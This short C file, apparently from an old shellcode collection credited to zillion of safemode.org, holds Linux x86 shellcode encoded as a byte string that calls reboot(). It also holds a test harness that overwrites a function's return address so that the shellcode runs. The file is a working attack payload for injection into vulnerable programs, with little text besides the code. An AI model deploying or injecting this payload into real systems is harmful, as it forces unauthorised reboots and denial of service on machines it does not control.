Author: zillion Email: zillion@safemode.org Homepage: http://www.safemode.org Linux x86 shellcode that does a reboot() reboot-shell.c /* * This shellcode will do a reboot() * Written by zillion@safemode.org * */ char shellcode[] = "\xeb\x16\x5e\x31\xc0\xb0\x58\xbb\xad\xde\xe1\xfe\xb9\x69\x19" "\x12\x28\xba\x67\x45\x23\x01\xcd\x80\xe8\xe5\xff\xff\xff"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } --